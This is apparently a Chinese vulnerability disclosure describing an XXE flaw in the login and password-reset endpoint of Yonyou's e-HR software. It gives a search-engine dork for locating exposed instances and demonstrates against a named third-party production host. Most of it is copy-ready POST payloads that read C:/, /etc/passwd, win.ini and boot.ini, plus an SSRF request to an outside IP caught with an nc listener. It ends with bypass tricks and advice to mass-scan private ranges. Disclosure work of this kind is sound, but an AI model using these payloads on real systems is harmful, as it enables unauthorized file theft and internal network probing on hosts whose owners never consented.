### 简要描述:
用友人力资源管理软件全版本XXE漏洞
### 详细说明:
i-漏洞描述
e-hr在登陆及重置密码处理时,使用xml将用户名、密码及验证码传递给后端进行解析处理,而后端对传进来的xml文件并未作严谨验证导致,可以传进构造的恶意xml文件进行查看文件及ssrf。
由于之前提交未通过,说是与一个注入重复(可能是我上次的提交说的不够详细),so不管怎样请漏洞审查者对此漏洞进行再次认真考量。谢谢~
ii-漏洞证明
google/baidu搜索inurl:/hrss/login.jsp
以搜索出的ehr.mc2.cn进行演示(其他的有的较敏感,有的有防火墙)。
主页打开效果:
[<img src="https://images.seebug.org/upload/201505/3113372149f955da143ecf7ad708ea2a18f468d0.png" alt="again-1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/3113372149f955da143ecf7ad708ea2a18f468d0.png)
登陆抓包:
[<img src="https://images.seebug.org/upload/201505/311339060143980d5549d468668d644585ea16f0.png" alt="again-2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/311339060143980d5549d468668d644585ea16f0.png)
```
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: ehr.mc2.cn
Content-Length: 975
Pragma: no-cache
Origin: http://ehr.mc2.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ehr.mc2.cn/hrss/login.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=1DDABBA58198490936C35195E361359A.server; user=123123; JSESSIONID=96A12531BB510FF28B84E523AECD5BDC.server
__type=updateData&__viewInstanceId=nc.bs.hrss.login.Login~nc.bs.hrss.login.LoginViewModel&__xml=%3Crpc%20transaction%3D%2210%22%20method%3D%22checkPwd%22%3E%3Cdef%3E%3Cdataset%20type%3D%22Custom%22%20id%3D%22dsLogin%22%3E%3Cf%20name%3D%22HRSS_LOGIN_USER%22%3E%3C/f%3E%3Cf%20name%3D%22HRSS_LOGIN_USER_ENCODED%22%3E%3C/f%3E%3Cf%20name%3D%22HRSS_LOGIN_PSWD%22%3E%3C/f%3E%3Cf%20name%3D%22HRSS_LOGIN_IDCODE%22%3E%3C/f%3E%3Cf%20name%3D%22HRSS_DATA_SOURCE%22%3E%3C/f%3E%3Cf%20name%3D%22ACCOUNT_NAME%22%3E%3C/f%3E%3Cf%20name%3D%22HRSS_LANG_CODE%22%3E%3C/f%3E%3C/dataset%3E%3C/def%3E%3Cdata%3E%3Crs%20dataset%3D%22dsLogin%22%3E%3Cr%20id%3D%22598%22%20state%3D%22insert%22%3E%3Cn%3E%3Cv%3E123123%3C/v%3E%3Cv%3E123123%3C/v%3E%3Cv%3E123123%3C/v%3E%3Cv%3E9955%3C/v%3E%3Cv%3EMCHR%3C/v%3E%3Cv%3E%25u7F8E%25u627F%25u96C6%25u56E2%3C/v%3E%3Cv%3Esimpchn%3C/v%3E%3C/n%3E%3C/r%3E%3C/rs%3E%3C/data%3E%3Cvps%3E%3Cp%20name%3D%22DEFAULT_DATA_SOURCE%22%3EMCHR%3C/p%3E%3C/vps%3E%3C/rpc%3E&1433050683284
```
将post内容unescape:
```
__type=updateData&__viewInstanceId=nc.bs.hrss.login.Login~nc.bs.hrss.login.LoginViewModel&__xml=<rpc transaction="10" method="checkPwd"><def><dataset type="Custom" id="dsLogin"><f name="HRSS_LOGIN_USER"></f><f name="HRSS_LOGIN_USER_ENCODED"></f><f name="HRSS_LOGIN_PSWD"></f><f name="HRSS_LOGIN_IDCODE"></f><f name="HRSS_DATA_SOURCE"></f><f name="ACCOUNT_NAME"></f><f name="HRSS_LANG_CODE"></f></dataset></def><data><rs dataset="dsLogin"><r id="598" state="insert"><n><v>123123</v><v>123123</v><v>123123</v><v>9955</v><v>MCHR</v><v>%u7F8E%u627F%u96C6%u56E2</v><v>simpchn</v></n></r></rs></data><vps><p name="DEFAULT_DATA_SOURCE">MCHR</p></vps></rpc>&1433050683284
```
替换整个__xml的内容为:
```
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "H:/">]><foo>%26xxe;</foo>
```
,
所构造的post包就是:
```
__type=updateData&__viewInstanceId=nc.bs.hrss.login.Login~nc.bs.hrss.login.LoginViewModel&__xml=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "H:/">]><foo>%26xxe;</foo>&&1433050683284
```
提交后效果:
[<img src="https://images.seebug.org/upload/201505/31132707117cf1d8a78bfda31c424d171ec21c0c.png" alt="again-3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/31132707117cf1d8a78bfda31c424d171ec21c0c.png)
我们构造的payload是读取H盘目录,这里提示:H:\ (系统找不到指定的路径。)。如果将H盘替换为C盘目录不出意外的会成功执行而不报错(具体操作要看是使用哪种操作系统,之前已经尝试过linux的etc)。
继续尝试读出c盘目录,payload:
```
__type=updateData&__viewInstanceId=nc.bs.hrss.login.Login~nc.bs.hrss.login.LoginViewModel&__xml=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "C:/">]><foo>%26xxe;</foo>&1433049197169
```
[<img src="https://images.seebug.org/upload/201505/31134409601f49a12e48430b345e79eef2206a55.png" alt="again-4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/31134409601f49a12e48430b345e79eef2206a55.png)
yep~如预期一样没有报错,说明存在c盘目录。典型的blind xxe。这样可能还没有足够的信服力,我们尝试读取linux文件系统的文件尝试一下。
尝试读取linux文件系统的/etc/passwd:
```
__type=updateData&__viewInstanceId=nc.bs.hrss.login.Login~nc.bs.hrss.login.LoginViewModel&__xml=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>%26xxe;</foo>&1433050683284
```
[<img src="https://images.seebug.org/upload/201505/31134533a4858456a192f7ffe60b7db3ee794d0b.png" alt="again-5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/31134533a4858456a192f7ffe60b7db3ee794d0b.png)
同样报错。外加两个截图证明:
读win.ini成功:
[<img src="https://images.seebug.org/upload/201505/31134744f098b3fde357d74698d4d23f8ebf78d2.png" alt="again-6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/31134744f098b3fde357d74698d4d23f8ebf78d2.png)
读1.ini报错:
[<img src="https://images.seebug.org/upload/201505/31134818237d08002bbd94f2277404718e88ecb5.png" alt="again-7.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/31134818237d08002bbd94f2277404718e88ecb5.png)
接下来我们尝试发送一个get请求,来请求我映射到公网ip的80端口。
本地nc -lvvp 80,再通过路由器做nat。
[<img src="https://images.seebug.org/upload/201505/31142122a2ded4820db17b419d8c53ab3acef3f2.png" alt="again-8.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/31142122a2ded4820db17b419d8c53ab3acef3f2.png)
payload:
```
__type=updateData&__viewInstanceId=nc.bs.hrss.login.Login~nc.bs.hrss.login.LoginViewModel&__xml=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://118.207.244.50">]><foo>%26xxe;</foo>&1433050683284
```
[<img src="https://images.seebug.org/upload/201505/311422197015cb269a2a3cf79e96af8c34fcf420.png" alt="again-9.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/311422197015cb269a2a3cf79e96af8c34fcf420.png)
bingo,我们收到了他的连接请求。
没错,到这里我们可以证明这个blind xxe。
iii-漏洞利用
大牛们想到blind xxe,一定会想到是否是否支持外部实体,如果支持外部实体的话就可以将本地读到的内容发送到远端的服务器上了。就可以间接地得到读取的内容了,不过很遗憾这个漏洞并不支持参数实体。个人测了linux以及widnows平台以及好几个版本,发现均不支持。
[<img src="https://images.seebug.org/upload/201505/3114342664a9a40e31f35a5fa57a9a25a8c981ab.png" alt="again-10.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/3114342664a9a40e31f35a5fa57a9a25a8c981ab.png)
那么这个漏洞是否结束了呢?nono,才刚刚开始。
刚才的一系列过程我们只是证明了,在直接替换掉__xml的内容的情况下就可以实现blind xxe。其实这里还有一个可以得到回显xxe。
还记得我们最开始时的post内容么?
```
__type=updateData&__viewInstanceId=nc.bs.hrss.login.Login~nc.bs.hrss.login.LoginViewModel&__xml=<rpc transaction="10" method="checkPwd"><def><dataset type="Custom" id="dsLogin"><f name="HRSS_LOGIN_USER"></f><f name="HRSS_LOGIN_USER_ENCODED"></f><f name="HRSS_LOGIN_PSWD"></f><f name="HRSS_LOGIN_IDCODE"></f><f name="HRSS_DATA_SOURCE"></f><f name="ACCOUNT_NAME"></f><f name="HRSS_LANG_CODE"></f></dataset></def><data><rs dataset="dsLogin"><r id="598" state="insert"><n><v>123123</v><v>123123</v><v>123123</v><v>9955</v><v>MCHR</v><v>%u7F8E%u627F%u96C6%u56E2</v><v>simpchn</v></n></r></rs></data><vps><p name="DEFAULT_DATA_SOURCE">MCHR</p></vps></rpc>&1433050683284
```
经过我的不断fuzz(心好累),终于构造出一个可以回显的xxe:
payload:
```
__type=updateData&__viewInstanceId=nc.bs.hrss.login.Login~nc.bs.hrss.login.LoginViewModel&__xml=<!DOCTYPE ANY[<!ENTITY xxe SYSTEM "/">]><rpc method="noteInputCount"><ps><p name="user_code">1</p></ps><vps><p name="DEFAULT_DATA_SOURCE">%26xxe;</p></vps></rpc>&1433050683284
```
效果:
[<img src="https://images.seebug.org/upload/201505/31144422f1641fb02595ab25aa38389b3fc2e314.png" alt="again-11.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/31144422f1641fb02595ab25aa38389b3fc2e314.png)
使用浏览器效果不明显,burpsuite效果(读取boot.ini):
[<img src="https://images.seebug.org/upload/201505/311447037c005b6359a24af536f5e92853108270.png" alt="again-12.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/311447037c005b6359a24af536f5e92853108270.png)
这里有一个可以快速得到web路径的方法,访问e-hr的http://ehr.mc2.cn/login.jsp文件就可以从源码中快速得到web路径。(全都是这样,算不算一个信息泄露呢。嘎嘎~)
[<img src="https://images.seebug.org/upload/201505/311452195d899e0b79f549a748ecea1ce589b9b6.png" alt="again-13.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/311452195d899e0b79f549a748ecea1ce589b9b6.png)
[<img src="https://images.seebug.org/upload/201505/311523361e82cd28bc4a01a8cc6df0271c53cb61.png" alt="agian-15.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/311523361e82cd28bc4a01a8cc6df0271c53cb61.png)
[<img src="https://images.seebug.org/upload/201505/311523475a1d29cf1c85e11db427e59323d31287.png" alt="again-14.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/311523475a1d29cf1c85e11db427e59323d31287.png)
iv-与这个漏洞有关的一些tricks记录
iv.i 大家可能发现使用了&的ascii码,因为&操作符会在后端处理被当作分割字段符;
iv.ii payload中都没有xml文件头是因为后端对xml头做了过滤;
iv.iii 中文字符无法回显,所以带有中文目录和中文的文件均无法回显,是因为sax的版本低导致,实际利用中需要一些运气成分。在linux系统下可以读.bash_history、.conf等;
iv.iv ssrf时会回显doctype类型错误,但实际表示请求成功,可以开个多线程扫私有段,当然能不能碰到可以利用的还要运气。
v-影响与范围
略
### 漏洞证明:
见详细说明
暂无评论